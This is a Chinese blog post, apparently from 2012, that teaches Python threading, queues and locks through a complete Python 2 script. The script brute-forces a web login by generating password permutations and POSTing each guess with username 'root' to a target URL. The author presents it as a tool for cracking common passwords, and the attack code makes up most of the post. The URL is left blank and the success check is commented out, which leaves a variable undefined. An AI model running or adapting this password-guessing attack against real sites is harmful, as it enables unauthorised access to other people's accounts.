真正使用多线程进行程序的编写,以前学习时的笔记《python threading模块学习join()》,现在用在实践上。
写代码在发现对他不熟悉的时候,总是缩手缩脚的,不知道为什么也不去尝试一下。过分依赖搜索引擎,自从上次写golang读取id3信息的那个程序开始,学会了用英文关键字检索信息,会检索到很多有用的信息,像stackoverflow上的回答。
先介绍一下功能:多线程生成密码,多线程提交数据。密码是排列组合生产的,五个元素全排列5!,这个密码长度是5。5个元素,密码长度为2,5×4 。适合那种通用型密码的破解。
程序代码:
# encoding:utf-8
#
#author:0x55aa
#team:Pax.Mac Team
#time:2012.08.17
#
import urllib2,urllib,time
import threading
from Queue import Queue
from BeautifulSoup import BeautifulSoup
#提交的地址
URL = ""
#密码列表example:['0x55aa','1','b']
passwdlist = ['0x55aa','123','a']
#生产密码长度
passwdlen = 3
#密码生成完毕
passwd_done = False
#队列为空啦,这个可以用Queue.empty()
#post_done = False
#锁,用于输出
lock = threading.Lock()
#tag标识是否找到密码退出
tag = False
#密码
def perm(items, n=None):
if n is None:
n = len(items)
for i in range(len(items)):
v = items[i:i+1]
if n == 1:
yield v
else:
rest = items[:i] + items[i+1:]
for p in perm(rest, n-1):
yield v + p
def sqlPost(password):
"""提交奥"""
#提交字段的设置在这里。。
post_params = [
('UserName', 'root'),
('Password', password),
]
data = urllib.urlencode(post_params)
req = urllib2.Request(URL)
r = urllib2.urlopen(req,data)
#这里加入返回数据的判断
"""
soup = BeautifulSoup(r.read())
list1 = soup.find('value')
"""
return list1
class PasswordProduce(threading.Thread):
"""生成密码"""
def __init__(self,queue,first,items,n):
threading.Thread.__init__(self)
self.passwd = queue
self.first = first
self.items = items
self.n = n
def run(self):
#生成密码
r = perm(self.items,self.n)
for i in r:
p = self.first + ''.join(i)
#密码插入队列
self.passwd.put(p)
"""
if lock.acquire():
print p
lock.release()
"""
class Sqlpost(threading.Thread):
"""提交"""
def __init__(self,queue):
threading.Thread.__init__(self)
self.passwd = queue
def run(self):
#post提交
global passwd_done
while not (passwd_done and self.passwd.empty()):
"""
if lock.acquire():
print self.getName(),passwd_done , self.passwd.empty()
lock.release()
"""
#取得密码
if not self.passwd.empty():
p = self.passwd.get()
else:
time.sleep(2)
continue
"""
if lock.acquire():
print p
lock.release()
"""
#提交
r = sqlPost(p)
#打印返回信息
global tag
if r:
tag = True
if lock.acquire():
print "password:",p,">>the result:",r
#print r
lock.release()
if tag:
break
def main():
queue = Queue()
#密码线程
passwdthread = []
#post
postthread = []
#线程数
s = len(passwdlist)
for i in range(s):
first = passwdlist[i]
lastlist = passwdlist[:i]+passwdlist[i+1:]
thelen = passwdlen - 1
pp = PasswordProduce(queue,first,lastlist,thelen)
sp = Sqlpost(queue)
passwdthread.append(pp)
postthread.append(sp)
pp.start()
sp.start()
for t in passwdthread:
t.join()
#设置,密码生产完毕
global passwd_done
passwd_done = True
print "\npassword is produced done\n"
for t in postthread:
t.join()
print "\nAll done!\n"
if __name__ == '__main__':
main()
排列组合代码Google而来,等再写一篇文章进行分析,这篇写多线程编程。
1.join方法的使用。可以参考上面这篇文章,在密码生产线程都结束后,进行passwd_done变量的设置。
2.queue的使用。queue可以方便的进行线程间的通信数据交换。生产密码添加到queue,post线程提交从队列中获取密码。这里有两个判断条件:passwd_done判断密码生产是否结束,self.passwd.empty()检查队列是否为空。当这两个条件都符合时,密码就全部跑完了。还有一个全局变量tag用于当密码成功后,结束线程。
3.密码为了多线程生成,我取其中一个元素作为密码的首位,也就是有len(passwdlist)个线程。不知道这里用什么方法实现好。
4.数据的打印用了threading.Lock()
上一篇: python用py2exe打包成exe
下一篇: python 持久性管理-pickle模块介绍
0 Responses so far.